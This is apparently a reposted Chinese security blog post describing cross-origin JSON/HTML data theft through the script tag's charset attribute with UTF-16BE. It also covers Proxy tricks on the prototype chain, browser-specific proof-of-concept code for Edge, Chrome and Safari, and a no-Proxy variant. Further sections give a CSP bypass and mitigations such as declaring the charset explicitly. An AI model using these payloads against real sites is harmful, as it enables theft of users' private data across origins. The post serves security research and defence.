一个没人正眼看过属性,撬开了跨域读数据的大口子

admin 2026-09-22 06:08:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入剖析利用script标签charset属性结合UTF-16BE编码实现跨域数据读取的技术,详细展示了在Edge、Chrome、Safari等浏览器上的利用差异与绕过CSP的方法,并给出防守方缓解建议,强调显式声明字符集的重要性。文章技术细节丰富,具备实战参考价值,但需注意仅限授权测试。 综合评分: 82 文章分类: 漏洞分析,WEB安全,浏览器安全,红队


一个没人正眼看过属性,撬开了跨域读数据的大口子

原创

升斗安全XiuXiu 升斗安全XiuXiu

升斗安全

2026年9月20日 07:56 广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

【文章说明】

  • 目的:本文内容仅为网络安全技术研究与教育目的而创作。
  • 红线:严禁将本文知识用于任何未授权的非法活动。使用者必须遵守《网络安全法》等相关法律。
  • 责任:任何对本文技术的滥用所引发的后果自负,与本公众号及作者无关。
  • 免责:内容仅供参考,作者不对其准确性、完整性作任何担保。

阅读即代表您同意以上条款。

📌 这篇讲什么:接上篇。上篇我们拿到了一件工具——用 Proxy 在原型链上装内鬼,把跨域脚本里的未定义变量名喊出来。下篇解决剩下的问题:怎么让一段 JSON 变成变量名。答案是一个你每天都在用、却从没正眼看过的属性:script 标签的 charset。我们会用 UTF-16BE 在 Edge、Chrome、Safari 上各打一遍,再讲没有 JS 代理时怎么偷、怎么顺手绕过 CSP,最后给防守方能落地的缓解方案。

没看上篇的朋友建议先补一下,不然 __proto__ 那段会有点跳。跨域的我读不到,那就让它自己喊出来


一、UTF-16BE:两个字节,一个字符 🔍

先把原理讲透,后面所有 PoC 都建立在这两分钟上。

UTF-16BE 是一种多字节编码——每两个字节,拼成一个字符。

一个正常的 JSON 响应开头是这样的:

[”supersecret”,”input here”]

前面两个字符是 [ 和 “,ASCII 分别是 0x5b 和 0x22。

在 UTF-16BE 下,浏览器不会把它们当成两个字符,而是揉成一个:0x5b22。

而 0x5b22 是什么?它是一个合法的 JavaScript 变量名。

这一点对中文用户其实特别好理解——JS 的标识符允许 Unicode,你完全可以用中文写 var 变量 = 1。0x5b22 对应的是个汉字(或者某个 CJK 字符),凭什么不能当变量名?

一旦想通这个,整条链就通了:

整段 JSON 的每一个字节对,都会被揉成一个字符,连在一起,就成了一个长得奇形怪状、但完全合法的变量名。而”未定义变量”这件事,上篇我们已经能偷了。

二、Edge:需要一点”填料” 💥

理论很美,Edge 比较挑食。

假设目标响应是这样,而且我们能控制第二个元素的一部分:

[”supersecret”,”input here”]

要偷 supersecret,我得往响应里注入一个NULL 字符 + 两个 a:

Object.setPrototypeOf(__proto__,&nbsp;new&nbsp;Proxy(__proto__, {&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;has: function(target, name) {&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;alert(name.replace(/./g, function(c) {&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c = c.charCodeAt(0);&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;String.fromCharCode(c >>&nbsp;8, c &&nbsp;0xff);&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }));&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; }&nbsp; &nbsp; &nbsp;&nbsp;})); &nbsp; &nbsp;<!-- 响应内容:[”supersecret”,”<?php&nbsp;echo&nbsp;chr(0)?>aa”] -->

两个细节:

  1. 为什么要注入 NULL + 填充?老实说,我也不确定根因。可能是 Edge 在做字符集嗅探,也可能是它截断了响应,而 NULL 之后的字符在它眼里不构成合法变量。但实测结论很明确:不加这两个字符,Edge 就不认 UTF-16BE。有时候工程结论就是先于原理到达的。

  2. 那个 replace 在干什么?我们拿到的是 UTF-16BE 揉出来的字符,得还原成原来的字节。c >> 8 取高字节,c & 0xff 取低字节,再拼回两个 ASCII 字符。

跑起来会弹出 [“supersecret”,”——可以看到,Edge 在 NULL 之后把响应截断了。

坦白讲这招限制不小:很多字符两两组合之后,并不能形成合法的 JS 变量。它更适合偷短数据,比如 token 的前半截、用户名的前几个字符。

三、Chrome:宽容得让人害怕 🕳️

Chrome 的脾气完全不同——它对带特殊字符集的脚本极度宽容,你甚至不需要控制任何响应内容,只要 URL 能被你引用,它就会乖乖用你指定的字符集去解析。

唯一的要求还是那句:组合出来的字符得是个合法变量。

先在原型链上做文章。Chrome 看起来也禁止了 proto 覆盖,但它漏算了一件事:proto可以往下套很多层。

__proto__.__proto__.__proto__.__proto__.__proto__&nbsp;=&nbsp;new&nbsp;Proxy(__proto__, {&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;has:&nbsp;function&nbsp;f(target, name) {&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;var&nbsp;str = f.caller.toString();&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;alert(str.replace(/./g,&nbsp;function(c) {&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c = c.charCodeAt(0);&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;String.fromCharCode(c >>&nbsp;8, c &&nbsp;0xff);&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }));&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; }&nbsp; &nbsp; &nbsp;&nbsp;}); &nbsp; &nbsp;<!-- 响应内容:[”supersecret”,”abc”] -->

注意我们挖了五层proto。

然后最戏剧性的一幕出现了:name参数里什么都没有,泄漏跑到f.caller里去了。

f.caller 返回的是调用我们这个函数的函数——而它里面,带着我们那个变量名。打印出来长这样:

function&nbsp;嬢獵灥牳散牥琢Ⱒ慢挢崊

看清楚了吗?supersecret 那几个字,就藏在那一串乱码汉字里。

一个小坑:必须对函数调toString()才能拿到数据,直接访问会抛通用异常。

(Chrome 54 已修复,PoC 在 53 上有效。)

另外我顺手测出一个更吓人的:跨域加载 XML 甚至 HTML 数据也成立,哪怕 Content-Type 是 text/html。这意味着不管对方返回什么格式,只要能被你用 script 引用,就可能变成一次信息泄漏。这个洞在 Chrome 已修。

四、Safari:少一层,换个参数 🍎

Safari 上同样轻松,只需要四层proto,而且泄漏位置回到了 name(不用去翻 caller):

__proto__.__proto__.__proto__.__proto__&nbsp;=&nbsp;new&nbsp;Proxy(__proto__, {&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;has:&nbsp;function&nbsp;f(target, name) {&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;alert(name.replace(/./g,&nbsp;function(c) {&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c = c.charCodeAt(0);&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;String.fromCharCode(c >>&nbsp;8, c &&nbsp;0xff);&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }));&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; }&nbsp; &nbsp; &nbsp;&nbsp;});

继续测下去还发现,Safari 和 Edge 一样受同一个问题影响,其实只要proto.proto两层就够了。

三家浏览器,三种深度,三种泄漏位置——同一套思路,三种写法。这就是我总说的:差异化的价值,全在这些”少一层”里。

五、没有 JS 代理,照样偷 🧠

前面都依赖 ES6 的 Proxy。那遇到不支持代理的老浏览器呢?

前提有两个:你能控制响应里的一小段,并且这个 feed 的构造能凑出合法变量。

偷注入点之前的内容:

思路特别朴(野)素(路子)——我输出一段 UTF-16BE 编码的字符串,给一个非 ASCII 变量赋值,然后遍历 window,看哪个属性的值是它。属性名就是注入点之前的全部 JSON。

=1337;for(i&nbsp;in&nbsp;window)if(window[i]===1337)alert(i)

这段被编码成 UTF-16BE 之后,实际上就是”每个字符后面垫一个 NULL”。

偷注入点之后的内容:

用自增运算符,把编码后的字符串变成 window 的一个属性,再 setTimeout 之后遍历 window,这次找 NaN:

setTimeout(function(){for(i&nbsp;in&nbsp;window){try{if(isNaN(window[i])&&typeof&nbsp;window[i]===/number/.source)alert(i);}catch(e){}}});++window.a

那个 try…catch 不是多余的——在 IE 上用 isNaN 检查 window.external 会直接抛异常,不包起来整段就挂了。

拼进 JSON 里,整个 feed 长这样(节选):

{”abc”:”abcdsssdfsfds”,”a”:”a”:”dasfdasdf”}

我特别喜欢这一招,因为它证明了一件事:高级特性只是捷径,不是必需品。没有 Proxy,靠赋值、遍历、自增这些最土的操作,一样能达到目的。

六、顺手绕过 CSP 🔓

还记得 UTF-16BE 会把换行符也变成非 ASCII 字符吗?这个副作用,直接开出了一条 CSP 绕过路。

因为换行没了,整个 HTML 文档会被当成一个 JavaScript 变量。

我们要做的只有三件事:

  1. 1.注入一个带
  2. charset="UTF-16BE" 的 script,让它引用自己这个页面;
  3. 注入点输出一段编码后的赋值语句 + 有效载荷;

尾巴上补一个单行注释 //,把后面的 HTML 全吃掉。这样就能绕过”只允许加载同源脚本”的 CSP 策略——而这恰恰是绝大多数 CSP 策略的配置方式。

目标页面得长成这样(注意 doctype 后面不能有换行,且不能声明字符集——不是为了 charset,是因为 meta 标签的引号和属性会破坏 JS 语法):

<!doctype HTML>Test<?php&nbsp;echo&nbsp;$_GET['x'];&nbsp;?>

有效载荷(注意开头需要一个制表符,才能造出合法变量):

解码之后就是 \t=alert(1);// 那套东西。

七、其他字符集:一半是路,一半是墙 🧪

我对每个浏览器 × 每个字符集都做了模糊测试,结论大致如下:

  • Edge:测起来很痛苦。它会做字符集嗅探,文档里没有特定字符,它就拒绝使用你指定的字符集。
  • Chrome:最配合,DevTools 还能用正则过滤控制台输出,测起来顺畅。
  • ucs-2:能把 XML 数据导成 JS 变量,但比 UTF-16BE 更脆,成功导入过一次 XML(Chrome 上现已失效)。
  • UTF-16 / UTF-16LE:看起来有戏(输出确实像变量),但一遇到 doctype、XML 声明或 JSON 字符串,就会语法错误。
  • Safari:有些有趣的结果,但我没能让它产出合法 JS。这块值得深挖,只是模糊测试成本很高——你得用”正在测的那个字符集”去编码字符才能造出有效用例。这事交给浏览器厂商去做,效率会比我们高得多。

八、为什么 CSS 上打不通 🎨

理论上,同样的手法应该能用在 CSS 上——任何 HTML 都会被变成非 ASCII 的无效选择器嘛。

现实是:浏览器在用你指定的字符集解析 CSS 之前,会先看文档有没有 doctype,有就直接忽略这个样式表。自注入样式表因此失败。

另外,Edge、Firefox 和标准模式下的 IE 还会检查 MIME 类型。Chrome 嘴上说”样式表已解释”,至少我的测试里并没有。

九、防守方该做什么 🛡️

缓解方案其实非常朴素,只有一句话:

在 HTTP 响应头的 Content-Type 里显式声明字符集。

Content-Type: text/html; charset=UTF-8

只要字符集被钉死,浏览器就不会去听 script 标签上那个 charset 属性,整套攻击链从第一环就断了。

顺带一提:PHP 5.6 起,即使你没在 content-type 里设置,它也会默认声明 UTF-8,等于替你挡了这一刀。所以这类洞在今天更多出现在——自己拼响应头的服务、老旧的 Java/Python 服务、以及那些”我就返回个 JSON,声明字符集干嘛”的 API 上。

给开发者的自查清单:

  1. 所有响应(尤其是 JSON / XML / 静态文件)都显式声明 charset=UTF-8;
  2. 别以为 CSP 能救你——同源 script-src 这条最常见的策略,正好是被绕过的目标;
  3. JSON 接口不要用 GET 返回数组字面量,加上 while(1); 之类的前缀或者干脆只接受 POST;
  4. 该上 X-Content-Type-Options: nosniff 的地方别省。

十、值钱的从来不是 payload 🧠

做完整个系列,我最想说的是这句:

Edge、Safari、Chrome 都曾被这套东西打穿;而打穿它们的,不是什么高深的利用链,是”对规范细节的好奇心”。

一个 script 标签上的 charset 属性,一个所有人都见过、没人多看一眼的东西,撬开的是跨域读取的大口子。

给猎人的四条收尾清单:

  1. 看到没声明 charset 的响应就眼睛发亮——尤其是 JSON/XML 接口,这是这类攻击的入场券。
  2. 原型链层数逐个试:2 层、4 层、5 层,不同浏览器答案不同,别试一次就放弃。
  3. 泄漏点不止一个:name 没有就看 caller,caller 要 toString(),参数没有就翻调用栈。
  4. 补丁公告是藏宝图:看到”禁止 X”,就去找 X 的等价物——上篇的 Object.setPrototypeOf 就是这么来的。

十一、说明 ⚠️

本文涉及的所有问题均已在对应浏览器中修复(Chrome 54 起修复、PHP 后续版本默认 UTF-8 等),文中 PoC 仅用于安全研究与授权测试,请勿用于未授权目标。


上下两篇到这里就写完了,照例求个三连。

这两篇从翻当年的演讲稿到把每个字节对一遍,占了我两个晚上。如果它们让你下次看到”响应头里没写 charset”的时候,会下意识多停两秒——那这几个小时就没白花。这多出来的两秒,可能就是别人漏掉、而你捡到的那个洞。

  • 觉得有用,帮我点个**「赞」和「在看」**,让更多挖洞的朋友刷到;
  • 顺手**「转发」**给群里那几个还在说”JSON 劫持早死了”的兄弟,以及做前端的朋友(第九节的自查清单直接给他们看);
  • 还没**「关注」**的朋友点个关注,压箱底的笔记我会陆续整理发出来,只发在这里;
  • 也欢迎**「推荐」**给身边做安全、做开发的朋友,一起少写点没声明字符集的代码。

#JSON劫持 #UTF16BE #CSP绕过 #渗透测试 #Web安全 #赏金猎人 #跨域 #漏洞挖掘 #经验分享 #浏览器安全


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:升斗安全 升斗安全XiuXiu 升斗安全XiuXiu《一个没人正眼看过属性,撬开了跨域读数据的大口子》

新型窃听威胁及破解之法 网络安全文章

新型窃听威胁及破解之法

文章总结: 文档概述了当前六种新型窃听威胁,包括低轨卫星通信、LoRa突发传输、AI辅助窃听、物联网寄生窃听、蓝牙LE微型设备及非射频通道窃听,指出传统频谱扫描
评论:0   参与:  0